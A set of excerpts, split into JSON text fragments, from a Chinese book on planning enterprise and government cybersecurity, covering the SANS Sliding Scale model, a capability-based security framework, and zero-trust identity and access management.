    {"text": "新框架借鉴EA方法论，以“网络安全能力体系”建设为中心，识别出在信息化的各个层面，构成网络安全能力的能力组件，并将这些安全能力组件全面覆盖到政企普遍存在的信息化各领域，进而规划出网络安全建设实施“项目库”（需要逐步实施的项目的集合）。"},
    {"text": "新框架必须重点设计所需安全能力之间的依赖协同关系，以及通过安全能力的协同所能提供给信息化的安全服务。 要明确安全服务能力与信息化各层次的结合方式，建立以能力为中心的安全能力服务化模式。 新框架涉及的安全能力应全面覆盖云、终端、服务器、通信链路、网络设备、安全设备、工控、人员等IT要素，避免局部盲区而导致的防御体系失效； 还需要将安全能力深度融入物理、网络、系统、应用、数据与用户等各个层次，确保安全能力在IT系统的各层次有效集成。"},
    {"text": "但EA方法论告诉我们，系统建设的目标不仅仅是维护现存的技术体系，还应充分考虑企业未来状态及新型技术体系的引入，以此实现企业未来的战略目标和管理目标。 将EA方法论用于网络安全，就要求我们在规划建设阶段，不能仅仅局限在服务于当前的业务系统和解决已知的网络安全问题，而是应当结合企业的业务与信息化发展，使网络安全建设能够服务于企业的战略目标和管理目标，敏捷应对未来的网络安全扩展需求。"},
    {"text": "● 所有的网络安全规划与建设应当在某种通用型的统一框架下进行，这样才能确保接口、协议、组件、模块等建设的标准化和可扩展性，尽可能减少或避免封闭式建设在安全扩展、商业替换及技术换代等方面给企业带来的高昂成本。 ● 企业需要明确自身网络安全建设所处的发展阶段，并结合自身的发展目标制定科学的发展规划。"},
    {"text": "如本书前文所述，政企机构的信息化建设，一般可以归纳为4个不同的发展阶段：分散建设阶段、统一建设阶段、集成应用阶段和共享应用阶段。"},
    {"text": "而在网络安全领域，也有这样一个行业共识度较高的发展阶段模型，即滑动标尺模型。 网络安全滑动标尺（The Sliding Scale of Cyber Security）模型是SANS机构研究员Robert M. Lee在2015年8月发表的一份白皮书The Sliding Scale of Cyber Security中建立的一个网络安全的分析模型，是目前国内外公认度比较高的一个分析模型。"},
    {"text": "滑动标尺模型把机构的网络安全建设分为5个主要的阶段，分别为架构建设（Architecture）、被动防御（Passive Defense）、积极防御（Active Defense）、威胁情报（Intelligence）和进攻反制（Offense），如图3.5所示。 图3.5 网络安全的滑动标尺模型 这5个阶段对应5个逐步进化的能力。"},
    {"text": "1.架构建设 在系统规划、建设和维护的过程中，我们应该充分考虑安全要素，确保这些安全要素被设计到系统中，从而构建一个安全要素齐全的基础架构。"},
    {"text": "2.被动防御 被动防御的能力体系建立在架构安全的基础上，目的是在假设攻击者存在的前提下，保护系统的安全。 被动防御可在没有人员介入的情况下，附加在系统架构之上，提供持续的威胁防御或威胁洞察力。 被动防御的目标也可以理解为“人不犯我，我不犯人”。 当攻击发生时，系统会做出防御响应。"},
    {"text": "3.积极防御 在积极防御的能力体系中，数据分析被充分利用，分析人员开始介入，形成人机互动，并对网络内的威胁进行监控、响应、学习和应用知识（理解）的过程。"},
    {"text": "威胁情报的产出能力、效率和质量，是现今网络安全服务商技术水平的核心标志之一。 需要指出的是，在比较安全服务商的威胁情报能力时，不能只关注情报数量的多少，还需要考虑这些情报与机构自身所面临的安全威胁的结合程度是否紧密。"},
    {"text": "按照国内网络安全的法律法规要求，对于一般的政企机构来说，进攻反制阶段所能做的，主要是借助于国家网络安全监管力量，通过法律手段对攻击者进行反击。"},
    {"text": "比如目前在全球网络安全技术领域都很热门的零信任技术体系，其实横跨了基础架构安全与被动防御的两个能力组成部分。 而零信任与信息化环境结合的各类“执行点”，也分布在如网络、云计算环境、数据平台等各类纵深防御的防线当中。"},
    {"text": "如果我们不能在基础架构安全中，很好地打通资产、漏洞、配置、补丁这四大关键流程，并在被动防御中有效地过滤各类威胁检测的安全数据“杂音”，则由“数据驱动”理念所进行的安全大数据分析与态势感知在积极防御阶段也无法有效地进行工作。"},
    {"text": "在后文将要介绍的新一代企业网络安全框架中，我们结合国内网络安全实践需要，将滑动标尺模型优化为政企机构需要叠加演进建设的4个安全能力，即基础结构安全、网络纵深防御、积极防御和威胁情报等能力。 结合这4种安全能力，政企机构需要识别和设计构成网络安全防御体系的基础设施、平台、系统和工具集。"},
    {"text": "3.2.3 网络安全要与信息化深度融合 对于数字化系统来说，IT与业务是密不可分的。 从EA方法论出发，网络安全也应当与信息化相融合，保障业务安全有序发展。"},
    {"text": "企业网络安全体系的建设，可将EA方法论中关于复杂信息化体系的设计思想应用于网络安全领域，确保安全规划与建设能以全景视角、整体运行视角来审视网络安全能力体系建设，确保安全体系的建设以能力为导向，以架构为驱动，切实指导安全工作的开展。 在安全体系规划建设中，借鉴EA方法论中关于信息化复杂体系的设计思想来设计网络安全，使安全能力全面覆盖信息化的各个方面，且安全建设需要各个领域相互协同、整体联动，同时使安全与信息化融为一体，成为信息化运行的一部分。 政企网络安全体系规划与建设应以保护信息化资产为基础，进一步关注人员、系统、数据以及运行支撑体系之间的交互关系，进行整体防护。 需要面向叠加演进的基础结构安全、网络纵深防御、积极防御和威胁情报等能力，识别、设计构成网络安全防御体系的基础设施、平台、系统和工具集，并围绕可持续的实战化安全运行体系以数据驱动方式进行集成整合，从而构建出动态综合的网络安全防御体系。 要避免以偏概全的传统模式，以全覆盖、层次化思路进行规划设计，以围绕网络的纵深防御体系为基础，进一步围绕数据确定防御重点，围绕人员开展实战化安全运行，规划建设动态综合的网络安全防御体系，使安全能力全面覆盖云、终端、服务器、通信链路、网络设备、安全设备、工控、人员等IT要素，避免局部盲区而导致的防御体系失效； 还需要将安全能力深度融入物理、网络、系统、应用、数据与用户等各个层次，确保安全能力能在IT的各层次有效集成。 3.2.4 建设实战化的网络安全运行能力 EA方法论告诉我们，信息化系统的设计规划不能只考虑开发与建设，还必须考虑系统的运营和使用过程。"},
    {"text": "将EA的方法论落实在网络安全建设中，我们应当以“三同步”原则推进安全和信息化的“全面覆盖、深度融合”，建设网络安全基础设施和实战化运行能力，并围绕可持续的实战化安全运行体系以数据驱动方式进行集成整合，从而构建出动态综合的网络安全防御体系。"},
    {"text": "通过建立层级化的日常工作、协同响应、应急处置机制，做到对任务事项、事件告警、情报预警、威胁线索等各个方面的管理闭环，面对突发威胁能快速触发响应措施，迅速、弹性恢复业务运转。"},
    {"text": "随着威胁向有组织的攻击发展，政企机构需要以可量化的方式识别能力上限和底线，需要打破“紧平衡”建设方式来规划、设计和建设网络安全体系。 这就要求政企机构在进行规划与设计时，要充分考虑随时可能突发的网络安全威胁升级情况，坚持“宁可备而不用、备而少用，不可用而不备”的原则，在建设中预置可扩展的能力，在运行中预留出必要的应急资源，确保在面对网络空间重大不确定性风险时，数字化运营不会受到重大影响。"},
    {"text": "3.2.5 持续引入信息化与网络安全新技术 EA方法论指引我们在信息化的规划建设中，不仅应当使设计框架有能力为新技术的持续引入提供扩展支撑，同时还能随着技术环境的整体变化做出不断的调整。"},
    {"text": "事实上，本书后文将要介绍的新框架，已经将可信、拟态、AI、CWPP、EDR、SOAR、自适应、零信任、SASE等各种安全创新技术融入到整体网络安全体系中，使网络安全防御的效率与效果持续提升。"},
    {"text": "● 新框架应用可信计算技术，确保关键系统计算任务的逻辑组合不被篡改和破坏，在计算运算的同时进行可信防御，为网络与信息系统培育免疫能力。 ● 新框架应用拟态防御技术，针对关键系统建立起动态变化的多重并行协同防御能力，解决利用未知漏洞、未知后门等未知攻击的“防御难”问题。 ● 新框架以大数据分析、云计算、物联网为基础，将AI（Artificial Intelligence，人工智能）技术应用到复杂的业务环境下，使深度学习、自然语言处理、行为画像等能力得以充分发挥，对发现威胁入侵、识别异常行为、提高网络安全运行效率起到促进作用。"},
    {"text": "● 新框架将CWPP（Cloud Workload Protection Platform，云工作负载保护平台）技术应用于云计算，实现各层安全能力与云资源环境的相互融合，解决混合云数据中心基础架构中服务器工作负载的独特保护要求。"},
    {"text": "● 新框架以终端的一体化安全能力和数据资源为EDR（Endpoint Detection& Response，终端检测与响应）技术的资产发现、安全加固、威胁检测、响应处置、情报利用提供基础，促进终端安全与安全体系的整体协同。"},
    {"text": "● 新框架以态势感知平台为支撑的实战化安全运行机制，在技术和流程层面为应用SOAR（Security Orchestration，Automation and Response，安全编排、自动化与响应）技术提供基础，支持安全运行人员更加高效准确地完成安全事件的分析、处理和处置工作，有效地发挥人防与技防融合提升的效果。 ● 新框架以大数据、人工智能、自动化、行为分析、威胁检测、安全防护、安全评估等技术，共同支撑“自适应安全”的落地，结合国内网络安全现状，拓展持续自适应风险与信任评估机制的应用。 ● 新框架采用零信任思想进行架构设计，进一步缩小攻击面，在夯实基础设施、应用系统安全的基础上，围绕“数字身份”建立最小化权限，基于属性的访问控制、动态细粒度授权等重要安全思想建立了安全与业务的双基础设施。 ● 新框架融入SASE（Secure Access Service Edge，安全访问服务边缘）思想，结合零信任、CARTA（Continuous Adaptive Risk and Trust Assessment，持续自适应风险与信任评估）等新技术，将安全策略尽可能靠近实体所在位置，消除安全能力异构，加强整体安全管控，提升防御效能。"},
    {"text": "通过建立实战化的安全运行，根据IT运维与开发的特点，将安全人员技能、经验与先进的安全技术相适配。 以需求为牵引，促进网络安全技术的成果转化，使各种先进创新技术得到切实的应用。"},
    {"text": "第4章 新一代网络安全框架 4.1 新一代网络安全框架的概述 新一代企业网络安全框架（见图4.1）为政企“十四五”网络安全规划、设计提供了思路与建议。 该框架从“甲方视角、信息化视角、网络安全顶层视角”展现出政企网络安全体系全景，通过以能力为导向的网络安全体系设计方法，规划出面向“十四五”期间的建设实施项目库（重点工程与任务），并设计出将网络安全与信息化相融合的目标技术体系和目标运行体系，供政企参考借鉴。 该框架通过叠加演进的能力分类方法，形成面向政企信息化全领域的网络安全能力体系。 政企机构可以结合自身情况，采用框架中包含的系统工程方法，对每个安全领域的安全能力进行组合，并重点设计能力间的逻辑关系以形成能力逻辑架构，规划出覆盖网安全领域的建设实施项目库。"},
    {"text": "随着项目和任务的落地，政企将逐步建成目标技术体系架构与目标运行体系架构，体系化网络安全能力也将随之形成，从而实现保障数字化业务的目标。 政企可将新一代网络安全框架作为参考模板，然后结合自身情况，充分利用框架中包含的规划方法、工具、项目库、参考架构、规划模型，科学、严谨地规划出适合政企业务发展的新一代网络安全体系。 图4.1 新一代网络安全框架 4.2 新一代网络安全框架的主要组件 新一代网络安全框架由多个组件构成，这些组件可应用于政企网络安全规划的不同阶段，起到提升规划工作的效率和质量、控制规划关键点的重要作用。 这些组件分别是网络安全能力体系、规划方法论与工具体系、能力化组件模型、建设实施项目库、政企机构网络安全技术部署参考架构、政企机构网络安全运行体系参考架构。 4.2.1 网络安全能力体系 网络安全能力体系是保障政企机构数字化业务所必需的网络安全能力的集合，只有政企机构具备了必需的安全能力，才能真正有效地保障数字化业务安全。 框架中网络安全能力体系是结合国内外安全领域规范标准、最佳实践、新安全技术研究以及威胁框架，枚举保障政企机构数字化业务安全运行所需的能力集合。 网络安全能力体系在规划设计时，借鉴了国际知名网络安全研究机构SANS提出的网络安全滑动标尺模型对安全能力进行分类，并结合了中国政企机构信息化普遍存在的安全领域，由此形成了叠加演进的能力体系。 网络安全能力体系包含五大类别安全能力（见图4.2），即基础结构安全（Architecture）、纵深防御（Defense in Depth）、态势感知与积极防御（SA&Active Defense）、威胁情报（Intelligence）和反制（Counter）。 其中，基础结构安全、纵深防御、态势感知与积极防御、威胁情报这4类能力是一个完备的企业级网络空间安全防御体系所需要的，而反制能力主要由国家级网络安全防御体系提供。 图4.2 叠加演进的网络安全滑动标尺模式 从叠加演进的视角来看待网络安全防御能力体系，基础结构安全与纵深防御能力具有与信息基础设施“深度结合、全面覆盖”的综合防御特点，而积极防御与威胁情报能力则具有强调“掌握敌情、协同响应”的动态防御特点，并且这些能力之间存在紧密联系，且相互促进。"},
    {"text": "4.2.2 网络安全规划方法论与工具体系 网络安全规划方法论与工具体系是面向网络安全规划全周期的方法论以及各阶段所用到的工具。 政企机构可使用框架中的安全规划方法论指导开展自身网络安全规划工作，使用网络安全规划工具开展访谈、调研、路线设计工作。 1.网络安全规划方法论 网络安全具有专业性强、复杂度高和涉及面广等特点。 采用科学的规划方法论指导安全规划全周期的工作，能够对规划出的项目（工程和任务）的目标展望、资源要求、关键里程碑、可落地性、检验标准起到关键作用，确保规划项目的科学性、经济性、可控性以及结果的可达成性。 将网络安全、系统工程、项目管理、服务管理等理论融入网络安全规划方法中，合理使用安全规划工具，可确保政企能够以完整、严谨、科学的方式将安全专业知识应用于规划建设全周期，使规划出的项目（工程和任务）适合政企机构。 如图4.3所示的新一代网络安全体系框架的规划方法论，将规划过程划分为5步，分别是现状分析、安全战略规划、目标安全体系展望、项目规划与路线图设计、可研与立项。 图4.3 新一代网络安全体系框架的规划方法论 2.规划工具体系 网络安全规划工具的合理使用可以大幅提升规划效率、规划质量以及规划活动的标准化程度等。 新一代网络安全框架包含一个高质量的工具体系，融合了网络安全、系统工程、项目管理等各领域的专业知识，其内容全面覆盖了国内外优秀实践、监管合规要求，以及经过案例证明切实可行的先进做法。"},
    {"text": "新一代网络安全框架规划工具主要有现状调研问题模板、安全能力分析评价模型、组件化安全能力框架、安全建设路线图、安全项目规划纲要、项目投资概算模型、政企机构网络安全防御全景模型、政企机构网络安全协同联动模型等。 4.2.3 组件化安全能力框架 组件化安全能力框架是将网络安全能力映射成为可执行、可建设的网络安全能力组件的重要工具。"},
    {"text": "安全能力组件是安全能力的实现载体，包括安全机制、技术手段、安全系统、安全管理制度、安全责任等内容。 在政企机构信息化的所有层面，将安全能力组件与信息化组件相结合，保证了安全能力对信息化的覆盖性与融合性。"},
    {"text": "然后，结合政企机构的信息化范围，利用组件化安全能力框架，在信息化的各个层次识别出所有安全能力组件，科学、合理地将安全能力组合、归并，建立相互作用关系，形成各领域逻辑架构；"},
    {"text": "在图4.4所示的案例中，通过组件化网络安全能力框架呈现出安全能力在信息化不同层次的安全控制方式，充分反映了安全能力深度结合的思想。 图4.4 组件化安全能力框架 4.2.4 建设实施项目库 项目是政企机构推行安全管理思想、强化安全管控、提升安全能力、打造安全文化的重要抓手。"},
    {"text": "新一代网络安全框架使用能力导向的EA方法论，将政企的动态综合网络安全防御体系作为一个整体进行设计，并识别出15个构成子系统，进一步以系统工程的方式将这15个构成子系统作为巨系统进行设计。"},
    {"text": "项目规划纲要是项目库的核心，它从项目建设与实施的视角出发，高度概括了本项目的目标、覆盖范围、预期效果、协同领域以及多个项目之间的互相作用关系，突出强调项目规划、可研、立项与设计阶段的关键要点。 政企机构在进行网络安全规划时，可参考项目规划纲要模板，根据政企现状规划项目，借鉴项目纲要的表达形式，向信息化领导和网络安全领导阐述项目的重要意义、必要性、建设内容、成果系统、建设范围、所需资源、作用效果、价值产出，以便获得高层支持，从而得到充分的资源配给和政策支持。 在规划的全周期，政企参考项目规划纲要进行可研、立项、招标、初步设计、概要设计、建设和运行，明确项目执行中要严格控制的每个系统必须达到的预期能力、关键指标和协同关系，确保安全能力的完整性、体系性和可落地性，进而以一个可实现、一贯秉承的整体视角建设达成网络安全防御目标。 4.2.5 政企机构网络安全技术部署参考架构 政企机构网络安全技术部署参考架构是描述安全技术体系部署状态的参考架构，它以安全技术部署架构图的形式，全面表达了政企机构网络全景、信息化和网络安全的融合全景，以及安全能力组件全景，展示了网络安全能力内生于信息化环境的目标部署状态。 政企机构可参考此技术部署参考架构，结合自身信息化现状，规划自己的网络安全技术部署架构。 4.2.6 政企机构网络安全运行体系参考架构 政企机构网络安全运行体系参考架构是描述安全运行体系的目标状态参考架构，它以安全运行体系参考架构图的形式，全面表达了政企机构网络安全、运维、开发之间的协同关系，展示了网络安全运行以及网络安全与信息化之间聚合、协同运行的目标状态。 政企机构可参考此运行体系参考架构，结合自身信息化现状，规划自己的安全运行体系参考架构。 4.3 新一代网络安全框架的关键工具 新一代网络安全框架提供了政企机构网络安全防御全景模型、政企机构网络安全协同联动模型、政企机构网络安全项目规划纲要等关键工具。 政企机构可利用这些工具开展网络安全规划工作。 4.3.1 政企机构网络安全防御全景模型 1.政企机构网络安全防御全景模型的基本概念 政企机构网络安全防御全景模型是一种描述安全技术能力目标建设状态的工具，在新一代网络安全框架中用于描绘通过实施“十大工程、五大任务”建设项目后，企业将会实现的网络安全技术部署参考架构。 全景模型能够从以下3个层面协助企业构建并描绘在开展网络安全规划与设计时所需要的全景状态： ● 能够帮助企业以信息化场景为基础立体有机地展示全量的信息化环境并作为网络安全规划设计的基础； ● 能够帮助企业全息展示信息化组件和网络安全组件在各类信息化环境中的不同存在形态和结合方式； ● 能够帮助企业全面描述多种网络安全组件共存或相互关联的组合方式，从而诠释内生安全理念，有效支撑企业对网络安全技术部署情况开展的整体性、覆盖性、冗余性和兼容性分析。 2.政企机构网络安全防御全景模型的作用 该模型旨在帮助企业描绘在企业信息化环境中融入内生安全能力的方式，可协助企业根据实际工作需要并结合信息化情况对其在应用系统、网络区域、基础设施或企业整体层面进行裁剪与定制，设计形成企业自身的网络安全技术部署架构，帮助企业展示其网络安全与信息化融合的目标状态。 4.3.2 政企机构网络安全协同联动模型 1.政企机构网络安全协同联动模型的基本概念 政企机构网络安全协同联动模型是一种描述安全技术能力目标运行状态的工具，在新一代网络安全框架中用于描绘通过实施“十大工程、五大任务”建设项目后，企业将会实现的网络安全运行体系参考架构。"},
    {"text": "企业的安全运行工作无法独立于信息化自行开展。 企业不能脱离其信息化运维、开发、业务应用工作独立地设计安全运行业务，也不能忽视安全运行流程之间的关联关系来设计安全运行业务，否则会导致安全能力不能体系化协作运转，达不到预期的目标运行状态。"},
    {"text": "协同联动模型能够从以下3个层面协助构建并描绘企业的安全运行状态： ● 能够帮助企业设计并展示建设项目与建成的安全系统/平台之间的对应关系； ● 能够帮助企业设计并展示所建立的安全系统/平台之间的业务和数据流关系，体现安全系统之间的相互结合与协同状态； ● 能够帮助企业设计并展示安全系统/平台与IT运维管理、应用开发之间的集成关系，用于体现安全服务于信息化并存在于信息化中的状态，从而帮助企业全面展现建设项目实施后整体系统运行的全貌状态，体现安全系统之间的协同、网络安全运行与信息化运行的聚合。 2.政企机构网络安全系统联动模型的作用 该模型可以协助企业根据实际工作的需要并结合其信息化情况，在业务场景、安全流程、与IT业务的聚合关系等层面进行裁剪与定制，设计形成企业自身的网络安全运行体系架构，协助企业明确安全流程在信息化环境中的全景运行情况，呈现企业建设项目在建设完成后可集成、可运行的目标状态，以及确保该目标状态能有效保持所不可或缺的关系性、流程性和约束。 政企机构网络安全协同联动模型给出以企业IT基础设施及被保护对象为基础进行安全运行设计的方法。 该模型能够协助企业准确描述IT基础设施及被保护对象在运行体系中的状态，包括数字化终端、企业网络、企业云平台及云平台管理系统、业务应用及开发平台、数据库、大数据平台、工控网络及工控系统等。 4.3.3 政企机构网络安全项目规划纲要 1.政企机构网络安全项目规划纲要的基本概念 政企机构网络安全防御建设项目规划纲要是一种描述建设落实网络安全规划所需的建设项目，并提供其所涉及的关键要素信息的工具。 在新一代网络安全框架中，用于在建设实施项目库中承载“十大工程、五大任务”的项目，在网络安全规划工程中的项目规划阶段作为辅助支持模板帮助政企机构定义项目，在可研立项阶段起到关键要点框定和总体设计参考的作用，从而支撑政企机构分阶段开展项目建设，以实现网络安全技术部署架构及运行体系架构所展望的网络安全防御体系愿景。 建设项目规划纲要体现了系统工程设计成果的要点，能够作为模板、参考和经验库，帮助企业从项目建设角度清晰地发现相关要点，帮助企业更好地在安全规划、可研、立项、招标、初步设计、概要设计、建设和运行的各个阶段开展相关工作。 2.政企机构网络安全项目规划纲要的作用 项目规划纲要呈现了项目关键要素设计表述的形式。 项目规划纲要针对每个工程/任务阐述该领域的背景、能力框架及建设要点，制定总体架构图，描述IT聚合点、工程参与方、建成系统等内容，形成该领域的背景概述、安全需求、建设目标、关键能力、建设要点、整体架构、交付成果等项目要素，形成直观可读、清晰可用的效果。"},
    {"text": "未知 第3部分 怎样建设内生安全 第5章 新一代身份安全 第6章 重构企业级网络纵深防御 第7章 数字化终端及接入环境安全 第8章 面向云的数据中心安全防护 第9章 面向大数据应用的数据安全防护 第10章 面向实战化的全局态势感知体系 第11章 面向资产/漏洞/配置/补丁的系统安全 第12章 工业生产网安全防护 第13章 内部威胁防护体系 第14章 密码专项 第15章 实战化安全运行能力建设 第16章 安全人员能力支撑 第17章 应用安全能力支撑 第18章 物联网安全能力支撑 第19章 业务安全能力支撑 第5章 新一代身份安全 5.1 数字化转型与业务发展的新要求 5.1.1 数字化转型驱动身份安全改变 数字化转型促使系统集成与需求的激增，扩大了数据流转的范围，大数据、物联网、云计算、移动应用等技术改变了传统身份管理和使用的模式，“身份安全”从面向人员实体的身份安全管理演进为对数字身份（人员、设备、程序、接口等）的安全管理，管理模式也从功能驱动转变为数据驱动。"},
    {"text": "以前只能在内网访问的大量业务向互联网开放，远程办公向常态化发展，基础设施全面向云化升级，各类信息化系统协同工作，数据在更大的业务范围内流转。"},
    {"text": "传统身份安全在数字化转型中有诸多问题亟需解决，具体表现在以下方面。 ● 基础设施升级面临的身份安全管控挑战 数字化转型促使信息化基础设施全面升级，云计算、大数据、物联网、移动办公等新技术的应用产生了大量数字身份（设备、接口、程序），权限控制变得极其复杂。 传统的身份管理与访问控制体系对数字身份的管理能力、权限管理能力、访问控制能力相对缺乏，存在巨大风险。"},
    {"text": "● 接入人员和设备的多样性导致访问控制难度剧增 数字化转型促使政企业务进一步开放，接入网络的人员、设备越来越多样化，除了企业内部员工外，接入人员还包括供应商、外包人员、客户等外部人员。"},
    {"text": "● 传统的网络边界隔离已凸显出不足 目前，绝大多数企业还是采用传统的网络分区和隔离的安全模型，随着业务数字化、网络化、智能化的趋势，数据必须在多样化的业务、平台、设备、用户之间流动，这导致企业网络安全边界越来越模糊，难以通过边界防护实现灵活、动态的访问控制需求。"},
    {"text": "● 粗粒度权限达不到精细化访问控制要求 在传统的信息化业务环境下，用户身份相对单一，用户权限基本固定，用户操作局限于固定模式。 随着数字化业务的开展，这种传统的身份管理与访问控制模式无法满足数字化身份对属性管理的需求，无法根据用户及其所处环境的风险状况以及所访问资源的属性动态调整用户权限，且控制粒度过粗，达不到精细化访问控制的要求。 ● 特权账号管控不力，导致大量危害性操作时有发生 在数字化业务环境下，业务与信息化深度融合催生了大量的特权业务场景，特权账号数量呈几何级数增长。 在这种情况下，传统身份安全对特权账号及其操作的管控力度明显不足，由特权管理不当引发的违规操作、恶意操作或失误操作时有发生，这给企业业务运营造成了极大危害。 ● 集成度过低，难以适应大规模复杂场景的自动化身份管理需求 传统的身份安全缺乏自动化的身份管理与权限调整能力。 在大型机构复杂的IT环境下，数字身份全生命周期管理、权限设置和访问控制都面临较大的挑战。 当企业复杂的组织机构出现频繁的人员调整时，各级组织众多的身份数据与形态各异的业务系统难以应对自动化身份管理与账号权限变更的需求，无法在提高用户访问便利性的同时满足安全性的要求。"},
    {"text": "5.2 什么是新一代身份安全 5.2.1 基本概念 新一代身份安全是对与政企数字化业务的用户身份管理与访问控制相关的一系列能力组件的统称。"},
    {"text": "在数字化场景下，新一代身份安全以泛化身份数据管理和资源属性管理为基石，采用基于属性的权限管理与访问控制技术路线，融入“零信任”安全理念设计访问控制体系，将数字身份同政企业务运行环境进行聚合，共同实现全场景数字化身份安全管理与访问控制能力。 政企可以通过应用现代身份管理与访问控制技术为业务运营和网络安全奠定坚实基础，保障政企数字化业务的安全。 1.现代化身份管理 现代化身份管理聚合人员、设备、程序等数字身份，通过自动化的组织机构信息及账号信息同步机制，弥合各系统割裂的身份孤岛及身份数据的不一致性，实现不同类型的用户、用户多身份在企业多套组织机构下复杂的实体间关系。 其范围覆盖用户管理、账号管理、认证管理、资源管理、策略管理、权限管理等管理能力，并通过内部数据总线和内部服务总线，以集成方式实现身份主数据、流程管理、基础服务、账号同步服务、安全集成服务等能力；"},
    {"text": "它通过多维属性数据描述主客体特征，通过ABAC、RBAC以及PBAC多种权限模型的有效结合，解决单一授权模型下角色与权限爆炸、用户授权机制不灵活、访问控制颗粒度过粗的问题。"},
    {"text": "身份数据管理应支持访问者身份的属性管理、被访问数据的属性管理，可根据访问者属性、上下文、受访数据属性及访问控制策略提供访问决策。 现代化身份管理基于流程化、自动化的身份全周期管理以及匹配企业实际管理职责的多级权限体系，能有效提高企业管理水平，降低管理成本；"},
    {"text": "图5.1 现代化身份管理框架 2.架构的访问控制 零信任（Zero Trust）是一组不断发展的网络安全术语，不同版本的定义基于不同的维度进行描述。"},
    {"text": "零信任重点关注身份、凭证、访问管理、运营、终端、主机环境和互联的基础设施，首要目标是使安全可控的主体在合适的时间、地点，安全地访问应用与数据。"},
    {"text": "在《零信任网络》一书中，埃文·吉尔曼（Evan Gilman）和道格·巴斯（Doug Barth）将零信任的定义建立在以下5个基本假定条件上： ● 网络无时无刻不处于危险的环境中；"},
    {"text": "图5.2 基于零信任架构的访问控制 基于零信任架构的访问控制以及权限最小化原则，将网络防御的边界缩小到单个或更小的资源组，不是根据物理或网络位置对系统授予完全可信的权限，而是只有当资源需要的时候才授予对数据资源的访问权限，还需要在连接建立之前进行认证，并能够持续、动态地依据主体及其环境风险的评估结果，授予主体用于访问客体的合适权限。 零信任架构关注于保护资源，是在网络与网络分段得到保护的基础上，进一步围绕人员和数据加强防控控制，确保各类业务资源得到充分的防护。 为了减少不确定性，零信任在网络认证机制中减少时间延迟的同时更加关注认证、授权以及可信域设置，访问规则被限制为最小权限。"},
    {"text": "通过聚合人员、设备、程序等主体的数字身份，为动态访问控制提供基于由身份数据驱动的访问决策支撑，为身份分析平台提供身份大数据所依赖的身份、权限和属性数据。"},
    {"text": "通过构建保护面来实现对攻击面的收缩，默认隐藏所有业务，开放最小权限，所有的业务访问请求都应该进行全流量加密和强制授权，并针对要保护的核心业务资产（如应用、服务、接口等）构建安全访问屏障。"},
    {"text": "3.持续信任评估 以身份大数据为支撑，通过信任评估引擎，实现基于身份的信任评估能力，同时对访问的上下文环境进行风险判定，对访问请求进行异常行为识别并对信任评估结果进行调整。 持续信任评估为身份基础设施提供策略驱动的自动化治理能力，为动态访问控制平台提供信任评估结果，并将其作为动态权限判定的依据。"},
    {"text": "它通过RBAC和ABAC的组合授权实现灵活的访问控制基线，基于信任等级实现分级的业务访问，当访问上下文和环境存在风险时，需要对访问权限进行实时干预并评估是否对访问主体的信任进行降级。"},
    {"text": "实施动态最小权限的依据是访问的上下文场景信息，需要汇聚身份、权限、行为、风险等数据，根据多维度的数据和属性进行分析研判，决定能赋予访问者的权限。"},
    {"text": "5.2.3 总体架构 新一代身份安全总体架构由多个组成部分构成，分别是身份管理与访问控制平台、动态的零信任访问控制、自动化身份管理与流程，以及本领域与云、网、端、数据等其他领域安全功能的集成。"},
    {"text": "整个体系的运行以身份安全规范及细则为准则，通过构建技术平台来支撑业务运营与安全保障。 企业以身份管理与访问控制平台作为技术支撑，通过建立常态化运行机制，持续开展身份及权限数据分析，以发现违规情况与异常行为，降低IT与业务风险。 以身份大数据来有效支撑部署到所有工程与任务的“零信任架构”访问控制组件，通过与各领域的深度结合和全面覆盖，实现精细化的动态访问控制能力。"},
    {"text": "身份管理与访问控制体系的总体架构如图5.3所示。 图5.3 身份管理与访问控制体系 1.数字化身份管理与分析 依托身份管理与访问控制平台对数字世界的身份和权限进行管理，聚合多维身份数据、属性数据、权限数据、资源数据，形成统一的身份视图，并在管理基础上基于身份管理规则、规范来实现有序治理。"},
    {"text": "身份管理与治理平台为动态访问控制平台提供访问所需要的基础数据，主要是身份、权限和属性数据，这些数据同时需要汇聚到身份分析平台的身份大数据系统，形成统一的身份视图，供后续分析所用。 2.基于零信任的动态访问控制 基于零信任的动态访问控制平台是新一代身份安全体系的重点，它通过自适应多因子认证、动态授权等核心能力，对全网的所有访问请求进行强制身份认证、细粒度授权，确保只有合法的用户、合规的终端才能访问企业机构的业务资产。 动态访问控制平台需要与业务进行聚合，实现全场景的业务安全访问，包括用户访问应用、API调用、数据交换、特权运维等主要场景，且能针对不同的场景需要求来提供不同的访问代理对访问请求进行强制授权和流量加密。 另外，对于应用功能、数据、云平台、基础平台内部等场景的访问控制，需要将安全和业务同步规划，确保在业务设计之初就考虑到零信任动态访问控制能力和业务逻辑之间的聚合方案。 3.自动化身份管理与流程 面向系统开放服务和接口，与工单、HR、运维管理等IT系统形成联动，形成身份安全运行流程，实现多层级、流程化的身份与权限生命周期安全管理，以自动化流程方式提升管理效率。 4.零信任访问控制对企业级IT各领域的全面覆盖 新一代身份安全体系中的零信任架构访问控制，要与其他安全工程紧密结合。 随着各项IT工程的建设，需要把零信任访问控制的组件全面深入部署到各工程建设的系统中，这些控制组件与身份管理通过集成适配，融合为一个整体。 企业基于身份大数据对身份数据、操作行为、异常权限等进行分析，并通过分析结果有效支撑部署到所有工程与任务的“零信任架构”访问控制组件来执行管控动作，从而实现精细化的动态访问控制。"},
    {"text": "5.2.4 关键技术 1.全面泛化的数字化身份管理 ● 身份管理 身份管理提供对访问主体全面身份化的能力，用户、设备、应用、服务等自然实体都必须在可信的身份平台中注册并形成数字化身份。"},
    {"text": "并可对这些身份按照角色、组织、办公场所等属性进行多维度分类，为各类身份创建或关联适宜的身份生命周期管理流程，实现身份归一化管理。"},
    {"text": "● 权限管理 权限管理可支撑访问控制的相互协作，共同完成访问主体到应用与数据的安全访问。 权限管理提供访问主体权限信息（用户、属性、权限、应用）、策略配置管理功能及提供自服务和工作流逻辑；"},
    {"text": "● 账号管理 集中的账号管理包含对所有终端设备、服务器、网络设备、应用等用户账号的集中管理。 集中账号管理可以将账号与数字身份、自然人、设备和应用相关联。"},
    {"text": "● 身份生命周期管理 针对不同的身份类型构建不同的身份生命周期管理模型，对身份创建、变更、冻结、删除等全生命周期状态进行管理，确保身份状态与其对应的自然实体保持一致。"},
    {"text": "● 权限评估 支持对自助申请和既定权限进行风险和违规评估，为审批者和管理员提供相应风险情况的提示信息。 权限评估基于用户身份模型、任务及属性情况来综合评定。"},
